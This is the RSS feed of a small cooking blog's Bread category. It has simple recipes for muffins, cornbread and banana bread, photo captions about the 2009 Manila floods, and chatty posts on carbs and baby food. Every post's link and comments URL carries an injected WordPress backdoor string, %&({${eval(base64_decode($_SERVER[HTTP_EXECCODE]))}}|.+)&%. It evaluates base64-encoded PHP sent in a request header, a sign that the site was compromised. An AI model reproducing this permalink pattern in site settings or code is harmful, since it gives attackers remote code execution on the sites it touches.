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	<title>Down Home Kitchen &#187; Bread</title>
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	<link>http://nitawatson.com/blog5</link>
	<description>Food with the down home flair</description>
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		<title>Victims Trying to Survive&#8230;&#8230;</title>
		<link>http://nitawatson.com/blog5/2009/10/10/victims-trying-to-survive/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2009/10/10/victims-trying-to-survive/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 10 Oct 2009 14:44:03 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bread]]></category>
		<category><![CDATA[Fish]]></category>
		<category><![CDATA[Food]]></category>
		<category><![CDATA[Other]]></category>
		<category><![CDATA[Pasta]]></category>
		<category><![CDATA[Spices]]></category>
		<category><![CDATA[Vegetables]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/?p=287</guid>
		<description><![CDATA[





A resident shops for bread from a flooded bakery at Santa Cruz township, Laguna province soputh of Manila, Philippines Sunday Oct. 4, 2009. Tropical storm Ketsana brought the worst flooding in metropolitan Manila and neighboring provinces in more than 40 years.



Evacuees eat their meals as they remain housed in a covered court at an elementary [...]]]></description>
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<div id="photoProvider">A resident shops for bread from a flooded bakery at Santa Cruz township, Laguna province soputh of Manila, Philippines Sunday Oct. 4, 2009. Tropical storm Ketsana brought the worst flooding in metropolitan Manila and neighboring provinces in more than 40 years.</div>
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<div id="photo-info">Evacuees eat their meals as they remain housed in a covered court at an elementary school in San Pedro township, Laguna province south of Manila, Philippines as their homes are still inundated by floodwaters Sunday Oct. 4, 2009.</div>
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		<item>
		<title>Banana Muffins&#8230;&#8230;&#8230;.</title>
		<link>http://nitawatson.com/blog5/2009/03/12/banana-muffins/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2009/03/12/banana-muffins/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 15:46:47 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bread]]></category>
		<category><![CDATA[Pastrys]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2009/03/12/banana-muffins/</guid>
		<description><![CDATA[1 egg
2 cups buttermilk baking mix
1 cup ripe bananas, mashed
1/4 cup sugar
2 Tbs. milk
2 Tbs. vegetable oil, or butter, melted
1/4 cup chopped nuts
Preheat oven to 400° F. Grease bottoms only of 12 medium muffin cups, or line with paper baking cups. Place egg in a bowl and beat slightly. Stir in remaining ingredients just until [...]]]></description>
			<content:encoded><![CDATA[<p>1 egg<br />
2 cups buttermilk baking mix<br />
1 cup ripe bananas, mashed<br />
1/4 cup sugar<br />
2 Tbs. milk<br />
2 Tbs. vegetable oil, or butter, melted<br />
1/4 cup chopped nuts</p>
<p>Preheat oven to 400° F. Grease bottoms only of 12 medium muffin cups, or line with paper baking cups. Place egg in a bowl and beat slightly. Stir in remaining ingredients just until moistened. Divide batter evenly among cups. Bake 15-17 minutes, until golden brown.</p>
<p>If your interested in making a loaf, pour mix into a greased loaf pan and bake about 20 mins.</p>
]]></content:encoded>
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		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Cornbread</title>
		<link>http://nitawatson.com/blog5/2009/03/09/cornbread/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2009/03/09/cornbread/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 15:00:01 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bread]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2009/03/09/cornbread/</guid>
		<description><![CDATA[1 c. yellow cornmeal
1 c. white flour
2 to 4 tsp. sugar (optional)
4 tsp. baking powder
1/2 tsp. salt
1 c. milk
1 egg
1/4 c. vegetable oil
Pre-heat oven to 425*F, in large bowl combine cornmeal, flour, sugar, baking powder and salt.  Add milk, egg and oil, beat until smooth.  Spray 8 in. baking pan or grease it, pour batter [...]]]></description>
			<content:encoded><![CDATA[<p>1 c. yellow cornmeal</p>
<p>1 c. white flour</p>
<p>2 to 4 tsp. sugar (optional)</p>
<p>4 tsp. baking powder</p>
<p>1/2 tsp. salt</p>
<p>1 c. milk</p>
<p>1 egg</p>
<p>1/4 c. vegetable oil</p>
<p>Pre-heat oven to 425*F, in large bowl combine cornmeal, flour, sugar, baking powder and salt.  Add milk, egg and oil, beat until smooth.  Spray 8 in. baking pan or grease it, pour batter into pan, bake 20 to 30 mins. or till toothpick comes out clean.  Best served hot with butter.</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Breakfast Sliders</title>
		<link>http://nitawatson.com/blog5/2008/10/10/breakfast-sliders/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2008/10/10/breakfast-sliders/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 10 Oct 2008 16:02:54 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bread]]></category>
		<category><![CDATA[Eggs]]></category>
		<category><![CDATA[Food]]></category>
		<category><![CDATA[Meat]]></category>
		<category><![CDATA[Other]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2008/10/10/breakfast-sliders/</guid>
		<description><![CDATA[   Sliders are a great grab and go high protein snack.  These can be made the night before and heated in the microwave in the mornings.
The roll is important.  A small soft roll works best and can be used in any combination.  Considered to be a mini hmburger, they have evolved into all sort of [...]]]></description>
			<content:encoded><![CDATA[<p><img height="191" width="257" alt="002.JPG" id="image199" src="http://nitawatson.com/blog5/wp-content/uploads/2008/10/002.JPG" />   Sliders are a great grab and go high protein snack.  These can be made the night before and heated in the microwave in the mornings.</p>
<p>The roll is important.  A small soft roll works best and can be used in any combination.  Considered to be a mini hmburger, they have evolved into all sort of combination&#8217;s.  Use sliced deli meats, cheeses, and cooked eggs. When no one has time for breakfast these are the best fast snack.</p>
]]></content:encoded>
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		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Good Carbs/Bad Carbs</title>
		<link>http://nitawatson.com/blog5/2008/03/05/good-carbsbad-carbs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2008/03/05/good-carbsbad-carbs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 05 Mar 2008 16:58:34 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bread]]></category>
		<category><![CDATA[Casseroles]]></category>
		<category><![CDATA[Desserts]]></category>
		<category><![CDATA[Dips]]></category>
		<category><![CDATA[Fish]]></category>
		<category><![CDATA[Food]]></category>
		<category><![CDATA[Gravys]]></category>
		<category><![CDATA[Idea's]]></category>
		<category><![CDATA[Main Courses]]></category>
		<category><![CDATA[Meat]]></category>
		<category><![CDATA[Pasta]]></category>
		<category><![CDATA[Pastrys]]></category>
		<category><![CDATA[Sauces]]></category>
		<category><![CDATA[Seafood]]></category>
		<category><![CDATA[Soups]]></category>
		<category><![CDATA[Tex-Mex]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[Vegetables]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2008/03/05/good-carbsbad-carbs/</guid>
		<description><![CDATA[There are two types of carbohydrates &#8211; simple and complex. Simple carbohydrates are usually sweet and can include cakes, candies and other sugary foods. Some foods such as peaches, melons and apples are simple carbs. Complex carbs include whole grain pasta, brown rice, oats, vegetables and whole grain cereals. For the most part, try to [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-style: italic; font-size: 130%"><span style="color: #3333ff">There are two types of carbohydrates &#8211; simple and complex. <a href="http://www.nitawatson.com">Simple</a> carbohydrates are usually sweet and can include cakes, candies and other sugary foods. Some foods such as peaches, <a href="http://www.nitawatson/blog4">melons</a> and apples are <a href="http://www.nitawatson.com">simple</a> carbs. Complex carbs include whole grain pasta, brown rice, oats, <a href="http://www.nitawatson.com/blog4">vegetables</a> and whole grain cereals. For the most part, try to stick with complex carbs which take longer to digest and are rich in fiber, vitamins and minerals. </span></span><span style="font-style: italic; color: #ff0000; font-size: 130%">Make your food complex. as in carbohydrates. White bread, cookies, pasta and other highly-processed foods give carbs a bad <a href="http://www.nitawatson.com">name</a>.</span></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scratch?</title>
		<link>http://nitawatson.com/blog5/2008/02/17/scratch/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2008/02/17/scratch/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 17 Feb 2008 16:40:11 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bread]]></category>
		<category><![CDATA[Casseroles]]></category>
		<category><![CDATA[Desserts]]></category>
		<category><![CDATA[Food]]></category>
		<category><![CDATA[Main Courses]]></category>
		<category><![CDATA[Pastrys]]></category>
		<category><![CDATA[Sauces]]></category>
		<category><![CDATA[Soups]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2008/02/17/scratch/</guid>
		<description><![CDATA[Have you ever got to feeling good enough to fix a dish from &#8220;scratch?&#8221;  Well, it&#8217;s actually fun, if you know what your doing.  It&#8217;s fun if you get things all set up ahead of time.  Going looking for something, when your in the middle of mixing doesn&#8217;t make for a good [...]]]></description>
			<content:encoded><![CDATA[<p>Have you ever got to feeling good enough to fix a dish from &#8220;scratch?&#8221;  Well, it&#8217;s actually fun, if you know what your doing.  It&#8217;s fun if you get things all set up ahead of time.  Going looking for something, when your in the middle of mixing doesn&#8217;t make for a good outcome.  I&#8217;ve been in a hurry many times, grab for things, mix them together, and what a mess.  You&#8217;ve been there, I&#8217;m sure.  It&#8217;s just not going to work, if the eggs aren&#8217;t beaten, or the butter and sugar haven&#8217;t been creamed.  Imagine that!  They all go in the same bowl, mixed together, so why can&#8217;t they work right, just this time?</p>
<p>It&#8217;s very nice to have a food dish, turn out right.  Especially, when  you work so hard to make it from &#8220;scratch&#8221;.  You hope that it tastes as good, complementing your efforts.  But those biscuits, can get really hard, can&#8217;t they?   I swear, I could knock someone out with mine.  Just can&#8217;t seem to get it right.</p>
<p>I have had times that I threw something together, and it came out wonderful.  I keep thinking back wondering just how I did it?  Maybe if I could remember I could do it again.  Ha, ha&#8230;&#8230;&#8230;the jokes&#8217; on me, it will never happen again.</p>
<p>So, it&#8217;s back to the conventional way and reading the recipe the right way.</p>
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		</item>
		<item>
		<title>Babies Love Food</title>
		<link>http://nitawatson.com/blog5/2008/02/11/babies-love-food/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2008/02/11/babies-love-food/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 11 Feb 2008 14:39:34 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bread]]></category>
		<category><![CDATA[Casseroles]]></category>
		<category><![CDATA[Cookies]]></category>
		<category><![CDATA[Desserts]]></category>
		<category><![CDATA[Food]]></category>
		<category><![CDATA[Fruits]]></category>
		<category><![CDATA[Gravys]]></category>
		<category><![CDATA[Idea's]]></category>
		<category><![CDATA[Main Courses]]></category>
		<category><![CDATA[Meat]]></category>
		<category><![CDATA[Pasta]]></category>
		<category><![CDATA[Sauces]]></category>
		<category><![CDATA[Soups]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[Vegetables]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2008/02/11/babies-love-food/</guid>
		<description><![CDATA[I&#8217;m sure your asking me what I&#8217;m doing writing this type of post.  Just imagine, how much more fun your baby can have eating the food your eating.
If you can eat it, your baby can.  At least the babies, that are already eating &#8220;baby food&#8221; will be able to.  Rather than pay all [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m sure your asking me what I&#8217;m doing writing this type of post.  Just imagine, how much more fun your <a href="http://www.nitawatson.com" />baby can have eating the food your eating.</p>
<p>If you can eat it, your baby can.  At least the babies, that are already eating &#8220;<a href="http://www.gerber.com">baby food</a>&#8221; will be able to.  Rather than pay all those expensive prices for baby food, just pop some of the meat or veggies in the blender, with a couple of teaspoons milk and puree.  They can enjoy the same food your eating and  develop a better sense of taste.</p>
<p>Sure you can have the jar baby food to take with you when you aren&#8217;t at home, but use that as a substitute.  Cooking at home for the <a href="http://www.nitakwatson.blogspot.com">family</a>, gives the special pleasures of smelling the aroma&#8217;s.  If your baby associates the smells with eating, then it will be all too ready, when the food is offered.</p>
<p>Pureeing the food, gives it the smooth texture of regular baby food.  So, why not let your baby enjoy a meal right along with the rest of the family?  It&#8217;s a good way to interact and give your baby the same pleasures, you get from sitting down to a good meal.</p>
<p><a href="http://tinyurl.com/yu3y6a"><img border="0" src="http://tinyurl.com/2ftyc9" /></a></p>
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		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Banana Nut Bread</title>
		<link>http://nitawatson.com/blog5/2008/02/01/banana-nut-bread/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2008/02/01/banana-nut-bread/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 01 Feb 2008 23:31:13 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bread]]></category>
		<category><![CDATA[Food]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2008/02/01/banana-nut-bread/</guid>
		<description><![CDATA[3 lg. bananas, mashed
1/2 c. shortening
1 c. sugar
2 eggs
2 c. flour
1 tsp. baking soda
1/2 tsp. salt
1 tsp. vanilla
1 c. pecans or walnuts
 
Pre-heat oven to 350*F.  Cream shortening &#038; sugar, beat eggs and add, then add dry ingredients, with bananas.  Add vanilla &#038; nuts, mix well &#038; pour in greased or Pam sprayed loaf pan, bake for [...]]]></description>
			<content:encoded><![CDATA[<p>3 lg. bananas, mashed</p>
<p>1/2 c. shortening</p>
<p>1 c. sugar</p>
<p>2 eggs</p>
<p>2 c. flour</p>
<p>1 tsp. baking soda</p>
<p>1/2 tsp. salt</p>
<p>1 tsp. vanilla</p>
<p>1 c. pecans or walnuts</p>
<p> </p>
<p>Pre-heat oven to 350*F.  Cream shortening &#038; sugar, beat eggs and add, then add dry ingredients, with bananas.  Add vanilla &#038; nuts, mix well &#038; pour in greased or Pam sprayed loaf pan, bake for 1 hour at 350*F., cool or serve warm.</p>
]]></content:encoded>
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